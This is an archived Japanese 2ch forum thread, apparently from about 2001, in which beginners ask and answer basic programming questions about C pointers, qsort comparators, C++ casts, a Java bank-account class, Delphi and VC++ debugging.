トップページ⇒tech
903コメント319KB

ウルトラ初心者の質問スレVer2.0

レス数が900を超えています。1000を超えると表示できなくなるよ。
0001デフォルトの名無しさんNGNG
ウルトラ初心者はこちらへ

ギコの所とうまく住み分けよーぜ…。
0002デフォルトの名無しさんNGNG
やばっ、もうできてるじゃん…って事でSage
0003デフォルトの名無しさんNGNG
自分で削除依頼だしてこい。>1
0004デフォルトの名無しさんNGNG
どっちも失敗ぎみだな

どっちも削除!
0005デフォルトの名無しさんNGNG
どっちも削除か(藁
00061NGNG
いや、やっぱ向こうの1よりおいらの方がかいてる事ましだから
こっち残す事に決めた(藁。

ってー事で向こう削除以来出してもらってね♪(はぁと
0007>1NGNG
Ver2.0ってなんだお?
00081NGNG
>>7

ん?Part2じゃないと逝けなかった?
0009デフォルトの名無しさんNGNG
じゃーこっちにするか…?

前スレはこれ
http://piza.2ch.net/test/read.cgi?bbs=tech&key=974177768&ls=50
0010案内役NGNG
もう一つのスレッドに、誘導メッセージを書き込んできました。
削除依頼も出してきました。


0011案内役NGNG
勘違いがあるかも。なので訂正です。

http://piza.2ch.net/test/read.cgi?bbs=tech&key=979396756
の削除依頼も出してきました。

です。
0012デフォルトの名無しさんNGNG
>>11
ごくろうさん。
0013デフォルトの名無しさんNGNG
Perl超初心者なんだけど、もしかしてPerlって範囲コメント出来ないの?
行末の方は調べたらすぐ分かったんだけど。
0014名無しさん@お腹いっぱい。NGNG
むかしどっかにさ 2chに書き込めるぐらいの
ちいさなゲームのプログラムを発表する
スレがあったと思うんだけど どこいったっすか?
しらないですか?
0015デフォルトの名無しさんNGNG
ごめん、わかりました。
001615NGNG
15は13の自己レス。失礼。
0017デフォルトの名無しさんNGNG
return分の戻り値はスタックに積まれるんですか?
0018デフォルトの名無しさんNGNG
すべてのデータは0と1なんですか?
0019デフォルトの名無しさんNGNG
>17
実装依存
>14
これ?
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=../dat2/964808011
0020デフォルトの名無しさんNGNG
uchar型で宣言されている変数をfwriteで保存し
その後、別のプログラムで、uchar型で宣言しといて
freadで取り込もうとしたら、
test.c:17: syntax error before `変数'
という風なエラーがでました。
ucharのuに対してエラーが起きてると思い、
仕方なく、char型で宣言しなおしたら、エラーなく
取り込めたのですがどうしてこういうことが起こるのですか?
困るのですが。
0021デフォルトの名無しさんNGNG
>>20
uchar って型が C の仕様にあるの? あるいは
どこかで typedef されてるの?
0022pikioNGNG
VC買いました。よろしくお願いします。
0023名無しさんおっぱい。NGNG
>22
いくらするの?
0024pikio>23NGNG
アカデミック版だから税抜き13500円・・・
0025デフォルトの名無しさんNGNG
フラグ用の定義名ってどんな名前がいいのかな?
どんな風にしたらいいですか?

と思ったけど、MFCにもいくらでもサンプルありますね
打つ山車脳・・・・・
0026デフォルトの名無しさんNGNG
数万から数十万行からなるファイルを重複行をカウントして
その大きさ順に並び変えたいのですが、
最も高速に処理するアルゴリズムを教えていただけないでしょうか
0027デフォルトの名無しさんNGNG
昔から疑問に思ってたことなんだけど....
例えば C++ でWindowsアプリを作るときは、Windows上で走る開発ツール使うよね。
(C++ Builder 等)
では、Windows そのものを作る時は、開発環境ってどうなってるのかな???
0028デフォルトの名無しさんNGNG
>>27
ウインドウズさ。
0029デフォルトの名無しさんNGNG
1つ古いバージョンのWindows
0030デフォルトの名無しさんNGNG
>>27
Linuxです
003120NGNG
>>21
ucharっていうのはunsigned charっていうので、、
c言語にある型ではないのですか?
ないとしたら凄い勘違いをしていました。
0032デフォルトの名無しさんNGNG
>31
typedef unsigned char uchar;
0033SAGENGNG
>>31
unsigned char はC言語の基本型としてほぼ必ずあるが、
uchar はそうではない、というかむしろデフォでtypedefされてる方が特殊なような。
0034デフォルトの名無しさんNGNG
C++には
<static cast>とか<reinterpret cast>とか
があるみたいなんですが、これらは普通のキャストと
何が違うのでしょうか?
0035デフォルトの名無しさんNGNG
>>34
MSDN読め
0036デフォルトの名無しさんNGNG
>>34
C++ではconst_cast,static_cast,reinterpret_cast,dynamic_castが
普通のキャストです。詳細は本や、MSDNを調べるのをお勧めします
0037名無しさん@お腹いっぱい。NGNG
>>35
ウルトラ初心者の質問なんだからさ、そういうレスはなしにしようよ。
static_castはint→doubleとかの比較的安全なキャスト

reinterpret_castは、メモリマップが同じ構造体同士のキャストなどの
などの比較的危険なキャスト。
これはどんな変換でもコンパイラが文句を言わない。
Cのキャストに一番近いのはこれかも。

プログラムをしていく上でC++のキャストを使わないといけないということはないが
間違ったキャストを使った時にコンパイラでエラー検出できる可能性が増えるので
出来れば使ったほうが望ましいくらいのものですか。
0038デフォルトの名無しさんNGNG
>>26
クイックソート
0039デフォルトの名無しさんNGNG
delphi5を買った、プログラミング未経験のsuper biginerです。

目的は、「縦書きのアウトライン・プロセッサーを作ること」
だけなのです。というのも探してもそういうソフトがなかった
からですが、買ってから気が付いたのは、もしかしたら縦にする
のはものすごい大変な事でしょうか。だからないということなの
でしょうか。どうか教えて下さい。
0040デフォルトの名無しさんNGNG
>>39
そういうじっくりとした質問は、2chでないところで聞いたほうがいいと思われ
アウトラインプロセッサは実物を見たことがないのでよー分からんのですが、
縦書きのエディタなら、
uses
SysUtils,...;
と並んでるところにRichEditと付け加え、フォームをダブルクリックして出てくるprocedureに、
 RichEdit1.Perform(EM_SETOPTIONS, ECOOP_OR, ECO_VERTICAL);
と書けばできる。
後は知らん。


004140NGNG
あ、もちろんまずフォームにWin32のTRichEditを貼り付けて、ね。
0042pikioNGNG
WinampのSkinなんかはひとつの画像にいくつものパーツの絵が書いてありますけれど
あれって、何ピクセル目から何ピクセル目を表示する、などと指定できるのでしょうか?
そうでしたらどうやるのでしょう?
違うのならどうやってるのでしょうか?
0043名無しさん@お腹いっぱい。NGNG
14です
どーもね>19
0044デフォルトの名無しさんNGNG
>36,37さん
ありがとうございました。
0045デフォルトの名無しさんNGNG
最近、プログラミングに興味を持って
C の入門書を一生懸命読んでいる中年男です。
いま、ポインタのところを読んでいるのですが、
*ptr = "ABC";
とかやると、
文字列 "ABC" の先頭アドレスを指すポインタ ptr が
作られるのですね?(ああ、不安だ)
じゃ、その "ABC" というのは、いつの間に作られたんでしょう?
0046デフォルトの芝村さんNGNG
>>45
その記述では、まともなOSならばメモリ保護違反でエラーになろう。
char *ptr;
ptr = "ABC";
が意図すべき記述ではあるまいか?

その前提で言うなれば、"ABC"などはコンパイルの時点で
実行ファイルの内部に格納されてる(場合が多い)。
これが実行開始時にスタートアップコードにより
メモリ空間に展開(配置)される故、何時の間にと聞くならば、
「最初から在る」という答えになろう。
004745NGNG
>>46
レス、どうもです。
char *ptr = "ABC";
です(型を書くのを忘れてました……汗)
「最初から在る」ですか……。
うーん、イメージしにくいですが、慣れるようにします。
0048初心者教育係NGNG
コンパイル、リンクするときに割り当てられます。
→静的記憶領域 static storage duration area

正しくは
char * ptr;
ptr = "ABC";
です。
ポインタ ptr を宣言して
それに "ABC" (文字列リテラルという)を指すアドレスを入れます。
*ptr はポインタの指す先の対象のことなので間違えないでください。

ちなみに ANSI では *ptr = 'a';
などして上書きすることは未定義っぽいです。
0049初心者教育係NGNG
あ、おもいっきりかぶった スマ
0050ダンNGNG
すっごい簡単なテニスゲーム(棒と球だけの)
を通信対戦可能にするにはどうすれば?
0051デフォルトの名無しさんNGNG
DirectPlay つかってください。>50
0052デフォルトの芝村さんNGNG
通信以前に、壁がないとテニスゲームにならぬであろう。

というのはさておき、
まずは通信しない対戦を可能にするのが近道であろうな。
対戦の仕組み(プレイヤー間の情報交換)さえ構築できれば、
マシン内の情報交換もマシン間の情報交換も、
(遅延を考えねば)さほど変わらぬ。
実際の通信手段を考えるのは、その後でも遅くはあるまい。
その時は、DirectPlayなりBSD socketなり、好きに選ぶがよかろう。
0053デフォルトの名無しさんNGNG
>>39
>>40さんの方法については、Oya Hidemiさん作「拡張 Memo & RichEdit コンポーネント」の
付属ヘルプに有益な情報があります。
ただ、これを読んで解るようになるまでには、色々と勉強することがあるでしょうが。
当該コンポは下記サイトにて入手可能です。健闘を祈ります。

Delphian World
http://home1.infonia.ne.jp/~delphian/delphi/
005439NGNG
40さん、ありがとうございました。遅くなりました。
パソコンがぶち壊れたので、マンガ喫茶にきています。

ほかのところでも聞いてみます。あと今日初心者用の
参考書を買います。
0055奥さん、名無しですNGNG
MS Visual Stadioってどういった人がつかうんですか?
社会人になってからVC++やVBを買うよりも(必要になったときに)
学割効くうちに三万ちょいで買っておいた方が後々得かな?
等と阿呆な事をかんがえているんですが・・
0056デフォルトの名無しさんNGNG
>55
今すぐ使わないなら買わない方が良い。
そのうちバージョンがあがる。
それに社会人になってから必要になれば会社が買ってくれる。(多分)
0057デフォルトの名無しさんNGNG
>55
今買うべしなのです!
バージョンがあがったらまた買えなのです!!
0058名無しさん@お腹いっぱい。NGNG
>55
今のうちに後輩をてなづけておいて、必要になったら買わせる。
0059デフォルトの名無しさんNGNG
VisualStadio.Netってオンラインで登録しなきゃいけないみたいじゃん。
気分悪いよなー。そういうことで、今買うべしなのです。

バージョンあがったのが必要になったとき、子供を使って買うといいです。
0060デフォルトの名無しさんNGNG
ネットワーク環境がないと使えないの?>VisualStudio.Net
0061デフォルトの名無しさんNGNG
めちゃくちゃ初心者です。
オブジェクト指向プログラムってなんなんですか?
属性?クラス?継承?メソッド?オブジェクト?ポリモーフィズム
本とかよんでも難しい事ばっかり書いてあって・・・・
簡単に説明してください。お願いします。
0062デフォルトの名無しさんNGNG
本を読んでわからなかったのにここで説明しても
恐らくわからないだろう。
0063デフォルトの名無しさんNGNG
intel系のCPUで
例えば0x0123という値をshortの変数に格納したい場合、
short a
a = (0x01 << 8) + (0x23);
などとやりますよね?
でも、上のやり方でリトルエンディアン(intel)だと格納値って0x2301
にはならんの?(ってゆうかちゃんと0x0123になるのが不思議)
0064デフォルトの名無しさんNGNG
>>61
本を読んでわからなかったということは、その本に書いてある
以上の事を説明しないとわからんちん。って事か?
その本、何ページありました?(笑)
0065デフォルトの名無しさんNGNG
>>63
いいやぁ
short a = 0x0123
としますが。
バイトオーダーの問題は、オーダーの違うマシンでバイナリ
を交換したときに発生しますね。
単一のコンパイラで収束している場合は、関係なし。
006663NGNG
char *p
short a
p = &a

*p = 0x23
*(p+1) = 0x01

↑きっとこんな場合のときだけ意識するんでしょうかね?
くだらないことでスミマセンでした。
0067デフォルトの名無しさんNGNG
>>63
つーか、そこ意識しなきゃいけないなら
何のための言語なのか?
全然ハードの差を吸収できてないじゃん

66の問題はOSによりそうだが?
いま、試験できる環境が無いから例を出せない

unionなら確実に差が出るだろう
0068SAGENGNG
>>63
つーかそれじゃぁ、
short a;
a = 256 + 35;
ってやると 8961 にならないのが不思議って言ってるようなもんだぞ。
0069デフォルトの名無しさんNGNG
オブジェ苦吐思考・・プログラムを切り分けてまとめて
部品化して・・・。
その場限りでなく、管理、再利用しやすいわけだ。

その場限りのプログラムには、あまり必要ないかもめ・・。
0070名無しさん@お腹いっぱい。NGNG
VC++5.0つかっているんですが、そのデバッガをつかって一つずつ実行しようとデバッグ→ステップインを選択しました。mainの先頭から実行されていきますが、しょっぱなかなら心当たりのないソースファイル(dgbheap.cやらのパスの指定を強制されます。ドライブのなか探してもないし・・・・これはいったいなんでしょうか?
0071デフォルトの名無しさんNGNG
>>70
ランタイムライブラリのソースです。ランタイムライブラリに対してステップインを実行するとでてきます。
デバッグの必要のない関数はステップオーバー(F10)でとばしましょう。
0072デフォルトの名無しさんNGNG
>>63
メモリーは意識できてるようだけどレジスタのことをど忘れしてるよ。ちみ
0073デフォルトの名無しさんNGNG
ウルトラ初心者でごめんなさい。

「『銀行口座』が持つべき情報(残高)及び
 『銀行口座』に対する操作(作成、残高照会、入金、引出)の
 内容を決め、『口座』のクラスを定義せよ」

と問われました。さっぱりわかりません。
お助け下さい。
0074デフォルトの名無しさんNGNG
↑ JAVAです。
0075デフォルトの名無しさんNGNG
class 銀行口座
{
 private int 残高;

 public 銀行口座(int 制作時の入金額)
 {
  残高=制作時の入金額;
 }
 public int 残高照会()
 {
  return 残高;
 }
 public void 入金(int 入金額)
 {
  残高+=入金額
 }
 public int 引出(int 引出額)
 {
  if(残高<引出額) // 引き出せね〜ぞ!ゴルァ!!
  {
   return 0;
  }
  残高-=引出額;
  return 引出額;
 }
}

0076デフォルトの名無しさんNGNG
都合によりVCのデバッガ使えないのでターボデバッガ使おうとしたらVCのように簡単ではないですね。VCのように変数と変数の中身を表示できるようにはできませんか?
007773NGNG
>75
感謝感激!!
ありがとうございます!!
0078むぎ茶NGNG
>>75
引き出せない時には 例外投げるほうがよいのでは?
0079通りすがりNGNG
なぜ、正常処理中に例外?
0080デフォルトの名無しさんNGNG
>>79
きっと口座からは無尽蔵に引き出せると勘違いしているのです(笑)
0081デフォルトの名無しさんNGNG
try {
  自分の口座.引出(必要な金額);
}
catch( 金が足らない ) {
  無人君.ご利用は計画的に(必要な金額);
}
0082デフォルトの名無しさんNGNG
>>81
足りなかったら自動的に借りるのか?
迷惑だぞ(笑)
0083名無しさん@夢いっぱいNGNG
将来、コンピュータのインターフェイスは、キーボードやマウスから
音声や視覚へと変化していくと思うのですが、それに伴ってプログラミング
はどう変化していくのでしょうか?
0084デフォルトの名無しさんNGNG
OOPを勉強したいんだけどC++とJavaのどっちがいいのでしょうか
0085ぎこるびNGNG
>>84
それはもう Ruby と言いたいところですが、
C++ か Java ということなので Java です。
・SDK が無料で手にはいる
・ポインタがない
・friend 関数なんてものもない
・多重継承もない
と C++ に比べて OOP に専念できると思います。
Java World でも読むと OOP についての記事がちょくちょくありますよん。
0086デフォルトの名無しさんNGNG
>>85
どうもありがとうございます。ところでJavaのクラスライブラリと、
MFCやVCLのC++クラスライブラリとを比べてるとどちらが使い易いと
考えますか。
0087デフォルトの名無しさんNGNG
>>83
MSやIBMが入力インターフェイス用のAPI群を作り公開する。
他のプログラマはそれを使用するだけ。
基本的にはキーボードやマウスを制御してる現在のコーディングと変わらないと思うが・・・
0088デフォルトの名無しさんNGNG
>>85
C++だって優良なコンパイラがタダで(しかも沢山)手に入るよん。
>>84
JAVAは遅すぎるので却下。
最初はC++で泥沼にはまりましょう。
…と、言いたい所だけど、JAVAは標準ライブラリが充実してるので、プロトタイピングが早いのが良ければやっぱりJAVAかなあ。
C++ってなにもかも中途半端な気がするし。(STL気持ちわるい派です。)
0089名無しさん@お腹いっぱい。NGNG
いまSDKでWindowsプログラミングを勉強しています。
最近メッセージクラッカを使い始めたのですが、windowsx.hの中に
WM_NOTIFYに関するものがありません。
HANDLE_WM_COMMNOTIFYというものを見つけましたが、これは逆に
WM_COMMNOTIFYというメッセージがなくて(?)よくわからなくなってきました・・

すなおにウィンドウプロシージャの中で case WM_NOTIFY: 〜 と書くしかないのでしょうか。
0090デフォルトの名無しさんNGNG
C++のカオスティックなセカイが好きだ(藁)
クラスに多重継承にテンプレートにgoto
STLに果てはインラインアセンブラ, パーサにインタプリタスクリプト
なんでもアリ
言語仕様は貧相だが
0091デフォルトの名無しさんNGNG
すいませんが、本当にウルトラ初心者な質問をさせてください。

「型」のある利点は何なのですか?
メモリを効率よく使えるとか、そういう事なんでしょうか?
0092デフォルトの名無しさんNGNG
>>91
特になし。
あるのが普通。CPU(レジスタ)の構造上あって当然。
ないと無駄。
特に数値と文字列の区別がないってのは処理が遅くなる。
0093SAGENGNG
>>91
型があった方がバグが少なくて済む。少なくとも俺の場合は。
0094デフォルトの名無しさんNGNG
オブジェクト指向を理解するのに何か適当な課題はないでしょーか。
本を何冊か読んだので後は体で覚えようと思うのですが。
009591NGNG
>>92さん、>>93さん、ありがとうございます。

要は、ウルトラ初心者はそんなこと気にしないで
「そういうものだ」と覚えておけば十分という事ですね。

Perlから入って、Cを覚えようと本を読み出したのですが
型宣言が面倒に感じられたので。慣れの問題ですかね。
ありがとうございました。
0096デフォルトの名無しさんNGNG
Perlにも型あったでしょ?
0097デフォルトの名無しさんNGNG
>>91
コンパイル時にエラーを見つけることができるので型ありのほうが楽。
0098デフォルトの名無しさんNGNG
初歩的な質問で申し訳ありません

「インストール」
はどうして必要なのでしょうか?
私的に思うところでは実行ファイル(*.exe)とDLLを同一フォルダにおけば
困ることはないと思うのですが。
0099デフォルトの名無しさんNGNG
>98
インストーラ付いてないと「使い方が分かりません。」って言って来る奴がいるから(マジ)
0100デフォルトの名無しさんNGNG
Javaについて聞きたいのですが、Javaって聞くとアプレット記述言語で
お手軽とゆう印象があるんですけど、今現在のJavaの状況ってどうなって
いるんでしょうか?
0101デフォルトの名無しさんNGNG
>>100
GUIの互換性を保つのが難しいとみんな悟ったので
GUIのいらないサーバーサイドで最近は使われてます
つか新規案件はNTじゃなきゃほとんどJava
あと、UNIX,Win,Max対応ルータの設定ツールでJava使ってるのが
あったような、、
0102デフォルトの名無しさんNGNG
>>100
携帯もJavaだな。
Javaは便利だと思うよ。
.Net が唯一の不安要素。
多分負ける。
0103デフォルトの名無しさんNGNG
>>102
UNIXに.NET移植とか自分の首しめるだけだからゲイシはやんないでしょ
(少なくともWin版のほうにアドバンテージがあるようにはするはず)
だからサーバーマシンのNTシェアがUNIXを超えない限り。NETに負けることはないとオモウ。
Win :.NET
その他:Java
で安定すると思う
0104名無しさんだがねNGNG
>>98
>私的に思うところでは実行ファイル(*.exe)とDLLを同一フォルダにおけば

「ファイル」「フォルダ」「実行ファイル」「.exe」「DLL」と聞いただけで
固まっちゃう人もPCを使ったり、あなたの作ったプログラムを使ったり
するとは思わない?

マウスのダブルクリックだって大変な人もいるんだからね。

だから、プログラムの内容とか想定する利用者にも依るけど、
インストーラーが必要な場合だってあるわけ
0105160NGNG
>98
exeは単独で使う物ですがDLLは複数のexeで共有する物なので別の場所になってしまうのです。
0106名無しさんNGNG
>98
レジストリとかいろいろ大変なの。
>私的に思うところでは実行ファイル(*.exe)とDLLを同一フォルダにおけば
それは誤認だよ、動かないものもたくさんあるよ。
0107ウルトラ初心者NGNG
変数のルートを計算するにはどうしたらいいのですか?
√変数っていう関数はにのですか?
cです。
0108デフォルトの名無しさんNGNG
>>107
>変数のルートを計算するにはどうしたらいいのですか?
sqrt

>√変数っていう関数はにのですか?
ワケワカラン
0109デフォルトの名無しさんNGNG
あまたある数(配列が1000な変数)の中から
一発で最大値を求める関数はないですか?
0110デフォルトの名無しさんNGNG
↑
cです。
0111デフォルトの名無しさんNGNG
>>109
Cにはそんな関数無いです。
自分で作りましょう。
0112デフォルトの名無しさんNGNG
>>107 >>109
まず日本語から勉強されたらいかがでしょうか?
0113デフォルトの名無しさんNGNG
>>98
昔は*.ini
で、設定保存してたからその方法でOKだったけど
今は、レジストリ書かなきゃいけない場合が多いのでインストール作業が必要になる
*.keyをダブルクリックさせればレジストリ書けるけど
それって、インストールとかわらないっしょ?
0114突然失礼しますNGNG
Win2000でデバッグできないのですが、どうすれば良いでしょう?
0115デフォルトの名無しさんNGNG
客観的な視点が無いのか?おまえは・・・
どう答えれば良いか言ってみ?
0116デフォルトの名無しさんNGNG
>>107
整数なら奇数を何回加算してその数になるかという方法が
遅いが簡単な方法として知られています
0117デフォルトの名無しさんNGNG
ブレークポイントを設定しても止まらないんです。
「カーソルの位置まで実行」も効きません。
F5押してもWinMainからスタートしません。
VC++4.0です。よろしくお願いします。
0118デフォルトの名無しさんNGNG
>116
私は107ではありませんが、その方法は知りませんでした。
興味があるのでもう少し詳しく教えていただけませんか?
0119デフォルトの名無しさんNGNG
1^2 = 1
2^2 = 1+3
3^2 = 1+3+5
4^2 = 1+3+5+7
0120114NGNG
Win95,98では問題なかったです。
Microsoftのホームページ探してもそういう情報は無かったです。
同じような状態になっている人いませんか?
0121デフォルトの名無しさんNGNG
>>119の補足
 (n+1)^2
=n^2+2n+1

というやつですね
0122デフォルトの名無しさんNGNG
>>120
つーかWin2000でVC++4.0なんてサポートされてないっしょ。
0123デフォルトの名無しさんNGNG
ちなみにWin2000で公式にサポートされてるのはVC++6.0のSP4から。
0124デフォルトの名無しさんNGNG
>>123
SP4ってバージョンみたいなものですか?
同じ6.0ならバージョンアップみたいのは出来るのでしょうか?

ま、無理なんでしょうねぇ・・・
0125デフォルトの名無しさんNGNG
>>124
サービスパックの略。
リリース版 > SP1 > SP2 > ...
と続く、MS方式のバージョンっちゃバージョン。
雑誌とかに付いてたり、MSのサイトから無料でDL出来る。
ただし100Mとかあるので注意。
0126デフォルトの名無しさんNGNG
「明快なのがプロフェッショナル。そうでないのが素人」
というのをどこかで聞きました。私もそう思います。
では、なぜ素人は明快なコードを書けないのでしょう?
0127デフォルトの名無しさんNGNG
複数の関数があって、その中から一つを選択したら以降ずっとその関数を使いつづけるようにしたいのですけど、そうするにはどうすればよいでしょうか?
switch文は最初決定するときのみという条件でお願いします。
0128デフォルトの名無しさんNGNG
>>126
経験不足、知識不足、時間に追われる開発でできるかぎり開発効率を
重視したコードを書いたことが少ないから
>>127
static 変数を使って判断する、呼び出される関数が同じ形式なら関数
ポインタを使うとか
0129デフォルトの名無しさんNGNG
VC++でやってたのですが、相手の必要があって、
VBでプログラム組むことになったのですが、
VB6のIDEでif〜then〜else〜endifのネストのタブ位置を
自動的にやってくれないのでかったるくて仕方ありません。
IDEのオプションで設定できませんか?
0130デフォルトの名無しさんNGNG
>>127
Virtual
0131ミトコンドリ子NGNG
>>127
身近なオブジェクト思考言語(C++,JAVA,etc.)の資料で
「ポリモルフィズム」「動的束縛(dynamic binding)」について
調べてごらんなさい。
0132127NGNG
皆様ありがとうございます。あとは自分でがんばってみます。
0133デフォルトの名無しさんNGNG
ある2種類の数字が1000個ほどあるのですが、
それを種類頃に分類したいです。
そこで、qsortを用いて、分類したのですが、
最初の数字と最後の数字だけ、入れ替わってしまいます。
0134133NGNG
具体的にいうと
134と135の2種類の数字が
134
134
135
134
135
134
135
と並んでいたとすると、
これを
134
134
134
134
135
135
135
という形に替えたいのです。
0135133NGNG
しかし、qsortで行うと
数字の大小でflagをつけて、結果を出すと
134
135
135
134
134
134
135
というように最初と最後だけいれかわってしまいます。
どうすればいいですか?
0136デフォルトの名無しさんNGNG
あげ
0137デフォルトの名無しさんNGNG
>>133

$ cat qsort.c
//
// qsort.c
//

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int compare(const void* p1, const void* p2);

int main(int argc, char** argv)
{
    int i = 0;
    argv++;
    argc--;

    qsort((void*)argv, (size_t)argc, sizeof(char*), compare);

    for(i = 0; i < argc; i++)
    {
        printf("%s\n", argv[i]);
    }

    return 0;
}

int compare(const void* p1, const void* p2)
{
    return strcmp(*(char**)p1, *(char**)p2);
}

$ ./qsort 134 134 135 134 135 134 135
134
134
134
134
135
135
135

0138デフォルトの名無しさんNGNG
比較関数はどうしている?
最初の数字<2番目の数字:負の整数
最初の数字=2番目の数字:0
最初の数字>2番目の数字:正の整数
を返すようにしないと行けないのだが?
0139デフォルトの名無しさんNGNG
138は>>133ね
あと比較関数の2つの引数は「ポインタ」として扱われます。
>>138は文字の場合を示してくれましたが、
数値の比較関数の場合
int numcmp(int *p1, int *p2)
{
  return (*p1- *p2);
}
となります
0140133NGNG
char型配列のip[4]
を定義して、
そのうちのip[3]の値を比べています。
この場合は139のようにやっても、138のようにやっても
135のようになってしまいます。
更にstrcasecmp(a->ip[3];a->ip[3])とやってもそうなります。

どこに原因があるでしょうか?
0141133NGNG
flag=strcasecmp(qr1->ip[3],qr2->ip[3]);
return flag;
とやっているのですが・・・・・
0142デフォルトの名無しさんNGNG
あ
0143デフォルトの名無しさんNGNG
flag=strcasecmp(qr1->ip[3],qr2->ip[3]);

qr1->ipの型は何?
charの配列の場合、警告が出ない?
0144デフォルトの名無しさんNGNG
unsigned char (ucha)r型です。
ここに問題があるのでしょうか?
0145デフォルトの名無しさんNGNG
(uchar)です
0146デフォルトの名無しさんNGNG
strcasecmp(qr1->ip[3],qr2->ip[3]);
uchar型の文字の比較の場合
以外にflagを決定する方法があるでしょうか?
0147デフォルトの名無しさんNGNG
間違えました。
2重カキコすみません。

uchar型の文字の比較の場合
strcasecmp(qr1->ip[3],qr2->ip[3]);
以外にflagを決定する方法があるでしょうか?

0148デフォルトの名無しさんNGNG
> uchar型の文字の比較の場合
strcasecmpは大文字・小文字を意識しない「文字列」を比較する為の関数です
この違いは重要なのでもう一度確認しますが、
あなたは「文字」を比較したいんですか?「文字列」比較したいんですか?
0149133NGNG
文字を比較したいのですが、
139の方法で比較しても、135
のようになります。
flagを決定するのに、strcmpでも139の方法でも大体のソート
はできるのですが、最初と最後だけやっぱりおかしくなります。

char型(uchar型)の文字を比較する場合は、どのようにして、
flagを決定するのがいいのでしょうか?

0150デフォルトの名無しさんNGNG
文字を比較する場合は、
flag = qr1->ip[3] - qr2->ip[3];
です。
あと比較関数が正常動作しているかどうかの確認の為、
printf("%d = %c. %c\n", flag, qr1->ip[3], qr2->ip[3]);
を入れてみる事をお勧めします。
0151デフォルトの名無しさんNGNG
Z-80を使いロボットを作っているのですがプログラムを書いた
後、アセンブラの方法がわかりません。
何か良いアセンブラソフトがあれば教えてください。
0152名無しさん@@NGNG
LSIC80付属のアセンブラがベスト。
0153デフォルトの名無しさんNGNG
あき8でも買ってきなさい
アセンブラもちゃんとついてきます
つーか、敷居高いんでそれなりの時間と本代を覚悟しよう
0154137NGNG
>>149

$ cat qsort.c
/* qsort.c */

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#define ARRAY_SIZE (5)

typedef struct {
 unsigned char ipa[4];
}QR;

void print_array(QR* p, int size)
{
 int i;
 for(i = 0; i < size; i++)
  printf("%d.%d.%d.%d\n", p[i].ipa[0], p[i].ipa[1], p[i].ipa[2], p[i].ipa[3]);
}

int compare(const void* p1, const void* p2)
{
 QR* qr1 = (QR*)p1;
 QR* qr2 = (QR*)p2;
 return (qr1->ipa[3]) - (qr2->ipa[3]);
}

int main(int argc, char** argv)
{
 int i = 0;
 QR p[ARRAY_SIZE];
 srand(time(NULL));

 for(i = 0; i < ARRAY_SIZE; i++) {
  p[i].ipa[0] = p[i].ipa[1] = p[i].ipa[2] = i;
  p[i].ipa[3] = rand() % 255;
 }

 print_array(p, ARRAY_SIZE);
 qsort((void*)p, ARRAY_SIZE, sizeof(QR), compare);
 printf("------------------------------\n");
 print_array(p, ARRAY_SIZE);

 return 0;
}
$ ./qsort
0.0.0.243
1.1.1.2
2.2.2.79
3.3.3.221
4.4.4.45
------------------------------
1.1.1.2
4.4.4.45
2.2.2.79
3.3.3.221
0.0.0.243
0155133NGNG
いろいろ教えていただき有難う御座いました。
なぜかどうやっても、出来なかったため、
むりやりな手法(最初と最後のみ交換)
でとりあえず、解決しておきました。
またで直してきます。
0156デフォルトの名無しさんNGNG
>>155
> むりやりな手法(最初と最後のみ交換)
> でとりあえず、解決しておきました。
た、頼むそれで解決だけは止めてくれ!!
そんな結果じゃぁせっかく付き合った137さんもがっかりだと思うぞ。
# 少なくとも私はがっかり...

そのデータの場合はうまくいってるように見えるが、
別のデータの場合はうまくいかない可能性もあるぞ!
0157デフォルトの名無しさんNGNG
Z80アセンブル方法教えてやるからメールしな。
0158デフォルトの名無しさんNGNG
メールまでしておしえてくださるなんて、なんて親切なんでしょう・・・・感動しました。
0159133NGNG
>>156
わかりました。
もう少し頑張ります。
実はこれ卒論のデータをだすのに使うもので、
期日が後3日なので、とりあえず、データを出した後
もう一度トライしてみます。
できたら報告にまいります。
0160屑マカでふNGNG
Max/MSPやNato とは一体どんなプログラムなんでしょうか?
0161デフォルトの名無しさんNGNG
C#が出てくることでMFCってどうなっちゃるんで消化?
0162初心者NGNG
Cでアークタンジェントの
関数を作りたいのですがどのようなアルゴリズムにすればいいのでしょうか?
0163デフォルトの名無しさんNGNG
>>162
math.h の atan(x) か
自分でつくりたいなら主値を限り級数展開なり連分数展開なりを使って。
0164デフォルトの名無しさんNGNG
おう!てめえらに質問してよろしいでしょうか?お忙しいところまことに恐縮ですが
実はVB6.0ってのをDLしたいんですが、
いろいろあってどれをDLしたらいいかわかりません
どうかご指導のほどよろしくお願いいたします

0165デフォルトの名無しさんNGNG
>164
泥棒のやり方を人に聞く奴があるか。
0166デフォルトの名無しさんNGNG
>>165
>いろいろあってどれをDLしたらいいかわかりません
ランタイムのことじゃないの?

0167sageNGNG
sage
0168デフォルトの名無しさんNGNG
=====終了=====
0169デフォルトの名無しさんNGNG
なぜ急に終わる?
0170デフォルトの名無しさんNGNG
>>164
VB6.0ランタイムならどれでもOKだよ〜
0171124NGNG
>>125
本当だ、SP4にできるのですね。
http://msdn.microsoft.com/vstudio/sp/vs6sp4/full.asp?id=08
DirectXと違って、ちゃんと小分けにダウンロードも出来るし。
情報ありがとうございます。
0172デフォルトの名無しさんNGNG
>>168
おまえVC++にもいなかったか?
どこぞの質問無視されて逆切れやろうか?
0173151 NGNG
>>157
マジっすか!!
本気でメール出そうかな・・。
でも何でメールでなんですか?
ここでは書けないほどややこしい方法なんですか?
あとなんでそんなに親切なんですか?
友達から「口は悪いが本当はいい奴」って言われませんか?
っていうかネタですか?
0174デフォルトの名無しさんNGNG
↑
157じゃないけど、人の親切は素直に受け入れろ。
0175デフォルトの名無しさんNGNG
cで整数の1と文字列の"f_" を使ってf_1という値が欲しいのですが

#include <stdio.h>
#include <string.h>
main
{
char *a,*c;
int b;

a = "f_";
b = 1;
c = (char*)b;
strcat(a,c);
}

としても"f_1"には余裕でなってくれません。
どうしたらよいでしょうか?
0176デフォルトの名無しさんNGNG
>>175

>main
>{
論外
>a = "f_";
aのポインタは何処を指している?
>c = (char*)b;
キャストが分かっていない。

#include <stdio.h>
#include <string.h>
int main(void)
{
  char a[10];
  int b;
 
  b = 1;
 
  sprintf(&a[0], "f_%d", b);
  printf("%s\n", a);
 
  return 0;
}

>どうしたらよいでしょうか?
まず、Cの本を1冊通読する事をお勧めする。
